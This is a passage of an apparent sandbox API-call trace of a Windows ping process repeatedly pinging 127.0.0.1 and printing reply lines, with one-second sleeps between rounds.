[0118.351] LocalFree (hMem=0x2e7d10) returned 0x0 [0118.351] Sleep (dwMilliseconds=0x3e8) [0119.365] IcmpSendEcho2Ex (in: IcmpHandle=0x29c160, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, SourceAddress=0x0, DestinationAddress=0x100007f, RequestData=0x2ae468, RequestSize=0x20, RequestOptions=0x10f338, ReplyBuffer=0x2b0308, ReplySize=0x1ff8, Timeout=0xfa0 | out: ReplyBuffer=0x2b0308) returned 0x1 [0119.382] inet_ntoa (in=0x100007f) returned="127.0.0.1" [0119.382] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2723, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="Hõ)") returned 0x16 [0119.382] CharToOemBuffA (in: lpszSrc="Reply from 127.0.0.1: ", lpszDst=0x29f548, cchDstLength=0x16 | out: lpszDst="Reply from 127.0.0.1: ") returned 1 [0119.382] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0119.382] _write (in: _FileHandle=1, _Buf=0x29f548*, _MaxCharCount=0x16 | out: _Buf=0x29f548*) returned 22 [0119.382] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0119.382] LocalFree (hMem=0x29f548) returned 0x0 [0119.382] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x273c, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="À\x84-") returned 0x9 [0119.382] CharToOemBuffA (in: lpszSrc="bytes=32 ", lpszDst=0x2d84c0, cchDstLength=0x9 | out: lpszDst="bytes=32 ") returned 1 [0119.382] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0119.382] _write (in: _FileHandle=1, _Buf=0x2d84c0*, _MaxCharCount=0x9 | out: _Buf=0x2d84c0*) returned 9 [0119.382] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0119.382] LocalFree (hMem=0x2d84c0) returned 0x0 [0119.382] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2727, dwLanguageId=0x0, lpBuffer=0x10f314, nSize=0x0, Arguments=0x10f310 | out: lpBuffer="À\x84-") returned 0x9 [0119.382] CharToOemBuffA (in: lpszSrc="time<1ms ", lpszDst=0x2d84c0, cchDstLength=0x9 | out: lpszDst="time<1ms ") returned 1 [0119.382] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0119.382] _write (in: _FileHandle=1, _Buf=0x2d84c0*, _MaxCharCount=0x9 | out: _Buf=0x2d84c0*) returned 9 [0119.382] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0119.383] LocalFree (hMem=0x2d84c0) returned 0x0 [0119.383] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2728, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="À\x84-") returned 0x9 [0119.383] CharToOemBuffA (in: lpszSrc="TTL=128\r\n", lpszDst=0x2d84c0, cchDstLength=0x9 | out: lpszDst="TTL=128\r\n") returned 1 [0119.383] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0119.383] _write (in: _FileHandle=1, _Buf=0x2d84c0*, _MaxCharCount=0x9 | out: _Buf=0x2d84c0*) returned 9 [0119.383] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0119.383] LocalFree (hMem=0x2d84c0) returned 0x0 [0119.383] Sleep (dwMilliseconds=0x3e8) [0120.393] IcmpSendEcho2Ex (in: IcmpHandle=0x29c160, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, SourceAddress=0x0, DestinationAddress=0x100007f, RequestData=0x2ae468, RequestSize=0x20, RequestOptions=0x10f338, ReplyBuffer=0x2b0308, ReplySize=0x1ff8, Timeout=0xfa0 | out: ReplyBuffer=0x2b0308) returned 0x1 [0120.409] inet_ntoa (in=0x100007f) returned="127.0.0.1" [0120.409] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2723, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="Hõ)") returned 0x16 [0120.409] CharToOemBuffA (in: lpszSrc="Reply from 127.0.0.1: ", lpszDst=0x29f548, cchDstLength=0x16 | out: lpszDst="Reply from 127.0.0.1: ") returned 1 [0120.409] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0120.409] _write (in: _FileHandle=1, _Buf=0x29f548*, _MaxCharCount=0x16 | out: _Buf=0x29f548*) returned 22 [0120.409] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0120.409] LocalFree (hMem=0x29f548) returned 0x0 [0120.409] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x273c, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="À\x84-") returned 0x9 [0120.409] CharToOemBuffA (in: lpszSrc="bytes=32 ", lpszDst=0x2d84c0, cchDstLength=0x9 | out: lpszDst="bytes=32 ") returned 1 [0120.409] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0120.409] _write (in: _FileHandle=1, _Buf=0x2d84c0*, _MaxCharCount=0x9 | out: _Buf=0x2d84c0*) returned 9 [0120.410] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0120.410] LocalFree (hMem=0x2d84c0) returned 0x0 [0120.410] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2727, dwLanguageId=0x0, lpBuffer=0x10f314, nSize=0x0, Arguments=0x10f310 | out: lpBuffer="À\x84-") returned 0x9 [0120.410] CharToOemBuffA (in: lpszSrc="time<1ms ", lpszDst=0x2d84c0, cchDstLength=0x9 | out: lpszDst="time<1ms ") returned 1 [0120.410] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0120.410] _write (in: _FileHandle=1, _Buf=0x2d84c0*, _MaxCharCount=0x9 | out: _Buf=0x2d84c0*) returned 9 [0120.410] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0120.410] LocalFree (hMem=0x2d84c0) returned 0x0 [0120.410] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2728, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="À\x84-") returned 0x9 [0120.410] CharToOemBuffA (in: lpszSrc="TTL=128\r\n", lpszDst=0x2d84c0, cchDstLength=0x9 | out: lpszDst="TTL=128\r\n") returned 1 [0120.410] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0120.410] _write (in: _FileHandle=1, _Buf=0x2d84c0*, _MaxCharCount=0x9 | out: _Buf=0x2d84c0*) returned 9 [0120.410] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0120.410] LocalFree (hMem=0x2d84c0) returned 0x0 [0120.410] Sleep (dwMilliseconds=0x3e8) [0121.422] IcmpSendEcho2Ex (in: IcmpHandle=0x29c160, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, SourceAddress=0x0, DestinationAddress=0x100007f, RequestData=0x2ae468, RequestSize=0x20, RequestOptions=0x10f338, ReplyBuffer=0x2b0308, ReplySize=0x1ff8, Timeout=0xfa0 | out: ReplyBuffer=0x2b0308) returned 0x1 [0121.429] inet_ntoa (in=0x100007f) returned="127.0.0.1" [0121.429] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2723, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="Hõ)") returned 0x16 [0121.430] CharToOemBuffA (in: lpszSrc="Reply from 127.0.0.1: ", lpszDst=0x29f548, cchDstLength=0x16 | out: lpszDst="Reply from 127.0.0.1: ") returned 1 [0121.430] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0121.430] _write (in: _FileHandle=1, _Buf=0x29f548*, _MaxCharCount=0x16 | out: _Buf=0x29f548*) returned 22 [0121.430] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0121.430] LocalFree (hMem=0x29f548) returned 0x0 [0121.430] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x273c, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="À\x84-") returned 0x9 [0121.430] CharToOemBuffA (in: lpszSrc="bytes=32 ", lpszDst=0x2d84c0, cchDstLength=0x9 | out: lpszDst="bytes=32 ") returned 1 [0121.430] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0121.430] _write (in: _FileHandle=1, _Buf=0x2d84c0*, _MaxCharCount=0x9 | out: _Buf=0x2d84c0*) returned 9 [0121.430] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0121.430] LocalFree (hMem=0x2d84c0) returned 0x0 [0121.430] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2727, dwLanguageId=0x0, lpBuffer=0x10f314, nSize=0x0, Arguments=0x10f310 | out: lpBuffer="À\x84-") returned 0x9 [0121.430] CharToOemBuffA (in: lpszSrc="time<1ms ", lpszDst=0x2d84c0, cchDstLength=0x9 | out: lpszDst="time<1ms ") returned 1 [0121.430] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0121.430] _write (in: _FileHandle=1, _Buf=0x2d84c0*, _MaxCharCount=0x9 | out: _Buf=0x2d84c0*) returned 9 [0121.430] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0121.430] LocalFree (hMem=0x2d84c0) returned 0x0 [0121.430] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2728, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="À\x84-") returned 0x9 [0121.430] CharToOemBuffA (in: lpszSrc="TTL=128\r\n", lpszDst=0x2d84c0, cchDstLength=0x9 | out: lpszDst="TTL=128\r\n") returned 1 [0121.430] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0121.431] _write (in: _FileHandle=1, _Buf=0x2d84c0*, _MaxCharCount=0x9 | out: _Buf=0x2d84c0*) returned 9 [0121.431] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0121.431] LocalFree (hMem=0x2d84c0) returned 0x0 [0121.431] Sleep (dwMilliseconds=0x3e8) [0122.436] IcmpSendEcho2Ex (in: IcmpHandle=0x29c160, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, SourceAddress=0x0, DestinationAddress=0x100007f, RequestData=0x2ae468, RequestSize=0x20, RequestOptions=0x10f338, ReplyBuffer=0x2b0308, ReplySize=0x1ff8, Timeout=0xfa0 | out: ReplyBuffer=0x2b0308) returned 0x1 [0122.452] inet_ntoa (in=0x100007f) returned="127.0.0.1" [0122.452] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2723, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="Hõ)") returned 0x16 [0122.452] CharToOemBuffA (in: lpszSrc="Reply from 127.0.0.1: ", lpszDst=0x29f548, cchDstLength=0x16 | out: lpszDst="Reply from 127.0.0.1: ") returned 1 [0122.452] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0122.452] _write (in: _FileHandle=1, _Buf=0x29f548*, _MaxCharCount=0x16 | out: _Buf=0x29f548*) returned 22 [0122.452] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0122.452] LocalFree (hMem=0x29f548) returned 0x0 [0122.452] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x273c, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="À\x84-") returned 0x9 [0122.452] CharToOemBuffA (in: lpszSrc="bytes=32 ", lpszDst=0x2d84c0, cchDstLength=0x9 | out: lpszDst="bytes=32 ") returned 1 [0122.452] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0122.452] _write (in: _FileHandle=1, _Buf=0x2d84c0*, _MaxCharCount=0x9 | out: _Buf=0x2d84c0*) returned 9 [0122.452] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0122.452] LocalFree (hMem=0x2d84c0) returned 0x0 [0122.452] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2727, dwLanguageId=0x0, lpBuffer=0x10f314, nSize=0x0, Arguments=0x10f310 | out: lpBuffer="À\x84-") returned 0x9 [0122.452] CharToOemBuffA (in: lpszSrc="time<1ms ", lpszDst=0x2d84c0, cchDstLength=0x9 | out: lpszDst="time<1ms ") returned 1 [0122.453] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0122.453] _write (in: _FileHandle=1, _Buf=0x2d84c0*, _MaxCharCount=0x9 | out: _Buf=0x2d84c0*) returned 9 [0122.453] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0122.453] LocalFree (hMem=0x2d84c0) returned 0x0 [0122.453] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2728, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="À\x84-") returned 0x9 [0122.453] CharToOemBuffA (in: lpszSrc="TTL=128\r\n", lpszDst=0x2d84c0, cchDstLength=0x9 | out: lpszDst="TTL=128\r\n") returned 1 [0122.453] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0122.453] _write (in: _FileHandle=1, _Buf=0x2d84c0*, _MaxCharCount=0x9 | out: _Buf=0x2d84c0*) returned 9 [0122.453] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0122.453] LocalFree (hMem=0x2d84c0) returned 0x0 [0122.453] Sleep (dwMilliseconds=0x3e8) [0123.466] IcmpSendEcho2Ex (in: IcmpHandle=0x29c160, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, SourceAddress=0x0, DestinationAddress=0x100007f, RequestData=0x2ae468, RequestSize=0x20, RequestOptions=0x10f338, ReplyBuffer=0x2b0308, ReplySize=0x1ff8, Timeout=0xfa0 | out: ReplyBuffer=0x2b0308) returned 0x1 [0123.473] inet_ntoa (in=0x100007f) returned="127.0.0.1" [0123.473] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2723, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="Hõ)") returned 0x16 [0123.473] CharToOemBuffA (in: lpszSrc="Reply from 127.0.0.1: ", lpszDst=0x29f548, cchDstLength=0x16 | out: lpszDst="Reply from 127.0.0.1: ") returned 1 [0123.473] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0123.473] _write (in: _FileHandle=1, _Buf=0x29f548*, _MaxCharCount=0x16 | out: _Buf=0x29f548*) returned 22 [0123.474] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0123.474] LocalFree (hMem=0x29f548) returned 0x0 [0123.474] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x273c, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="À\x84-") returned 0x9 [0123.474] CharToOemBuffA (in: lpszSrc="bytes=32 ", lpszDst=0x2d84c0, cchDstLength=0x9 | out: lpszDst="bytes=32 ") returned 1 [0123.474] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0123.474] _write (in: _FileHandle=1, _Buf=0x2d84c0*, _MaxCharCount=0x9 | out: _Buf=0x2d84c0*) returned 9 [0123.474] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0123.474] LocalFree (hMem=0x2d84c0) returned 0x0 [0123.474] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2727, dwLanguageId=0x0, lpBuffer=0x10f314, nSize=0x0, Arguments=0x10f310 | out: lpBuffer="À\x84-") returned 0x9 [0123.474] CharToOemBuffA (in: lpszSrc="time<1ms ", lpszDst=0x2d84c0, cchDstLength=0x9 | out: lpszDst="time<1ms ") returned 1 [0123.474] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0123.474] _write (in: _FileHandle=1, _Buf=0x2d84c0*, _MaxCharCount=0x9 | out: _Buf=0x2d84c0*) returned 9 [0123.474] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0123.474] LocalFree (hMem=0x2d84c0) returned 0x0 [0123.474] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2728, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="À\x84-") returned 0x9 [0123.474] CharToOemBuffA (in: lpszSrc="TTL=128\r\n", lpszDst=0x2d84c0, cchDstLength=0x9 | out: lpszDst="TTL=128\r\n") returned 1 [0123.474] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0123.474] _write (in: _FileHandle=1, _Buf=0x2d84c0*, _MaxCharCount=0x9 | out: _Buf=0x2d84c0*) returned 9 [0123.475] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0123.475] LocalFree (hMem=0x2d84c0) returned 0x0 [0123.475] Sleep (dwMilliseconds=0x3e8) [0124.480] IcmpSendEcho2Ex (in: IcmpHandle=0x29c160, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, SourceAddress=0x0, DestinationAddress=0x100007f, RequestData=0x2ae468, RequestSize=0x20, RequestOptions=0x10f338, ReplyBuffer=0x2b0308, ReplySize=0x1ff8, Timeout=0xfa0 | out: ReplyBuffer=0x2b0308) returned 0x1 [0124.497] inet_ntoa (in=0x100007f) returned="127.0.0.1" [0124.497] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2723, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="Hõ)") returned 0x16 [0124.497] CharToOemBuffA (in: lpszSrc="Reply from 127.0.0.1: ", lpszDst=0x29f548, cchDstLength=0x16 | out: lpszDst="Reply from 127.0.0.1: ") returned 1 [0124.497] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0124.497] _write (in: _FileHandle=1, _Buf=0x29f548*, _MaxCharCount=0x16 | out: _Buf=0x29f548*) returned 22 [0124.497] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0124.497] LocalFree (hMem=0x29f548) returned 0x0 [0124.497] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x273c, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="À\x84-") returned 0x9 [0124.497] CharToOemBuffA (in: lpszSrc="bytes=32 ", lpszDst=0x2d84c0, cchDstLength=0x9 | out: lpszDst="bytes=32 ") returned 1 [0124.497] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0124.497] _write (in: _FileHandle=1, _Buf=0x2d84c0*, _MaxCharCount=0x9 | out: _Buf=0x2d84c0*) returned 9 [0124.497] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0124.497] LocalFree (hMem=0x2d84c0) returned 0x0 [0124.497] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2727, dwLanguageId=0x0, lpBuffer=0x10f314, nSize=0x0, Arguments=0x10f310 | out: lpBuffer="À\x84-") returned 0x9 [0124.497] CharToOemBuffA (in: lpszSrc="time<1ms ", lpszDst=0x2d84c0, cchDstLength=0x9 | out: lpszDst="time<1ms ") returned 1 [0124.497] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0124.497] _write (in: _FileHandle=1, _Buf=0x2d84c0*, _MaxCharCount=0x9 | out: _Buf=0x2d84c0*) returned 9 [0124.498] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0124.498] LocalFree (hMem=0x2d84c0) returned 0x0 [0124.498] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2728, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="À\x84-") returned 0x9 [0124.498] CharToOemBuffA (in: lpszSrc="TTL=128\r\n", lpszDst=0x2d84c0, cchDstLength=0x9 | out: lpszDst="TTL=128\r\n") returned 1 [0124.498] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0124.498] _write (in: _FileHandle=1, _Buf=0x2d84c0*, _MaxCharCount=0x9 | out: _Buf=0x2d84c0*) returned 9 [0124.498] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0124.498] LocalFree (hMem=0x2d84c0) returned 0x0 [0124.498] Sleep (dwMilliseconds=0x3e8) [0125.509] IcmpSendEcho2Ex (in: IcmpHandle=0x29c160, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, SourceAddress=0x0, DestinationAddress=0x100007f, RequestData=0x2ae468, RequestSize=0x20, RequestOptions=0x10f338, ReplyBuffer=0x2b0308, ReplySize=0x1ff8, Timeout=0xfa0 | out: ReplyBuffer=0x2b0308) returned 0x1 [0125.523] inet_ntoa (in=0x100007f) returned="127.0.0.1" [0125.523] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2723, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="Hõ)") returned 0x16 [0125.523] CharToOemBuffA (in: lpszSrc="Reply from 127.0.0.1: ", lpszDst=0x29f548, cchDstLength=0x16 | out: lpszDst="Reply from 127.0.0.1: ") returned 1 [0125.523] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0125.523] _write (in: _FileHandle=1, _Buf=0x29f548*, _MaxCharCount=0x16 | out: _Buf=0x29f548*) returned 22 [0125.523] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0125.523] LocalFree (hMem=0x29f548) returned 0x0 [0125.523] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x273c, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="À\x84-") returned 0x9 [0125.523] CharToOemBuffA (in: lpszSrc="bytes=32 ", lpszDst=0x2d84c0, cchDstLength=0x9 | out: lpszDst="bytes=32 ") returned 1 [0125.524] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0125.524] _write (in: _FileHandle=1, _Buf=0x2d84c0*, _MaxCharCount=0x9 | out: _Buf=0x2d84c0*) returned 9 [0125.524] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0125.524] LocalFree (hMem=0x2d84c0) returned 0x0 [0125.524] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2727, dwLanguageId=0x0, lpBuffer=0x10f314, nSize=0x0, Arguments=0x10f310 | out: lpBuffer="À\x84-") returned 0x9 [0125.524] CharToOemBuffA (in: lpszSrc="time<1ms ", lpszDst=0x2d84c0, cchDstLength=0x9 | out: lpszDst="time<1ms ") returned 1 [0125.524] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0125.524] _write (in: _FileHandle=1, _Buf=0x2d84c0*, _MaxCharCount=0x9 | out: _Buf=0x2d84c0*) returned 9 [0125.524] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0125.524] LocalFree (hMem=0x2d84c0) returned 0x0 [0125.524] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2728, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="À\x84-") returned 0x9 [0125.524] CharToOemBuffA (in: lpszSrc="TTL=128\r\n", lpszDst=0x2d84c0, cchDstLength=0x9 | out: lpszDst="TTL=128\r\n") returned 1 [0125.524] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0125.524] _write (in: _FileHandle=1, _Buf=0x2d84c0*, _MaxCharCount=0x9 | out: _Buf=0x2d84c0*) returned 9 [0125.524] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0125.524] LocalFree (hMem=0x2d84c0) returned 0x0 [0125.524] Sleep (dwMilliseconds=0x3e8) [0126.523] IcmpSendEcho2Ex (in: IcmpHandle=0x29c160, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, SourceAddress=0x0, DestinationAddress=0x100007f, RequestData=0x2ae468, RequestSize=0x20, RequestOptions=0x10f338, ReplyBuffer=0x2b0308, ReplySize=0x1ff8, Timeout=0xfa0 | out: ReplyBuffer=0x2b0308) returned 0x1 [0126.540] inet_ntoa (in=0x100007f) returned="127.0.0.1" [0126.540] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2723, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="Hõ)") returned 0x16 [0126.540] CharToOemBuffA (in: lpszSrc="Reply from 127.0.0.1: ", lpszDst=0x29f548, cchDstLength=0x16 | out: lpszDst="Reply from 127.0.0.1: ") returned 1 [0126.540] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0126.540] _write (in: _FileHandle=1, _Buf=0x29f548*, _MaxCharCount=0x16 | out: _Buf=0x29f548*) returned 22 [0126.541] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0126.541] LocalFree (hMem=0x29f548) returned 0x0 [0126.541] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x273c, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="À\x84-") returned 0x9 [0126.541] CharToOemBuffA (in: lpszSrc="bytes=32 ", lpszDst=0x2d84c0, cchDstLength=0x9 | out: lpszDst="bytes=32 ") returned 1 [0126.541] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0126.541] _write (in: _FileHandle=1, _Buf=0x2d84c0*, _MaxCharCount=0x9 | out: _Buf=0x2d84c0*) returned 9 [0126.541] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0126.541] LocalFree (hMem=0x2d84c0) returned 0x0 [0126.541] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2727, dwLanguageId=0x0, lpBuffer=0x10f314, nSize=0x0, Arguments=0x10f310 | out: lpBuffer="À\x84-") returned 0x9 [0126.541] CharToOemBuffA (in: lpszSrc="time<1ms ", lpszDst=0x2d84c0, cchDstLength=0x9 | out: lpszDst="time<1ms ") returned 1 [0126.541] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0126.541] _write (in: _FileHandle=1, _Buf=0x2d84c0*, _MaxCharCount=0x9 | out: _Buf=0x2d84c0*) returned 9 [0126.541] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0126.541] LocalFree (hMem=0x2d84c0) returned 0x0 [0126.541] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2728, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="À\x84-") returned 0x9 [0126.541] CharToOemBuffA (in: lpszSrc="TTL=128\r\n", lpszDst=0x2d84c0, cchDstLength=0x9 | out: lpszDst="TTL=128\r\n") returned 1 [0126.541] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0126.541] _write (in: _FileHandle=1, _Buf=0x2d84c0*, _MaxCharCount=0x9 | out: _Buf=0x2d84c0*) returned 9 [0126.541] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0126.541] LocalFree (hMem=0x2d84c0) returned 0x0 [0126.541] Sleep (dwMilliseconds=0x3e8) [0127.553] IcmpSendEcho2Ex (in: IcmpHandle=0x29c160, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, SourceAddress=0x0, DestinationAddress=0x100007f, RequestData=0x2ae468, RequestSize=0x20, RequestOptions=0x10f338, ReplyBuffer=0x2b0308, ReplySize=0x1ff8, Timeout=0xfa0 | out: ReplyBuffer=0x2b0308) returned 0x1 [0127.559] inet_ntoa (in=0x100007f) returned="127.0.0.1" [0127.559] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2723, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="Hõ)") returned 0x16 [0127.559] CharToOemBuffA (in: lpszSrc="Reply from 127.0.0.1: ", lpszDst=0x29f548, cchDstLength=0x16 | out: lpszDst="Reply from 127.0.0.1: ") returned 1 [0127.559] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0127.559] _write (in: _FileHandle=1, _Buf=0x29f548*, _MaxCharCount=0x16 | out: _Buf=0x29f548*) returned 22 [0127.565] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0127.565] LocalFree (hMem=0x29f548) returned 0x0 [0127.565] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x273c, dwLanguageId=0x0, lpBuffer=0x10f310, nSize=0x0, Arguments=0x10f30c | out: lpBuffer="À\x84-") returned 0x9 [0127.565] CharToOemBuffA (in: lpszSrc="bytes=32 ", lpszDst=0x2d84c0, cchDstLength=0x9 | out: lpszDst="bytes=32 ") returned 1 [0127.565] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0127.565] _write (in: _FileHandle=1, _Buf=0x2d84c0*, _MaxCharCount=0x9 | out: _Buf=0x2d84c0*) returned 9 [0127.566] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0127.566] LocalFree (hMem=0x2d84c0) returned 0x0 [0127.566] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2727, dwLanguageId=0x0, lpBuffer=0x10f314, nSize=0x0, Arguments=0x10f310 | out: lpBuffer="À\x84-") returned 0x9 [0127.566] CharToOemBuffA (in: lpszSrc="time<1ms ", lpszDst=0x2d84c0, cchDstLength=0x9 | out: lpszDst="time<1ms ") returned 1 [0127.566] _setmode (_FileHandle=1, _Mode=32768) returned 16384 [0127.566] _write (in: _FileHandle=1, _Buf=0x2d84c0*, _MaxCharCount=0x9 | out: _Buf=0x2d84c0*) returned 9 [0127.566] _setmode (_FileHandle=1, _Mode=16384) returned 32768 [0127.566] LocalFree 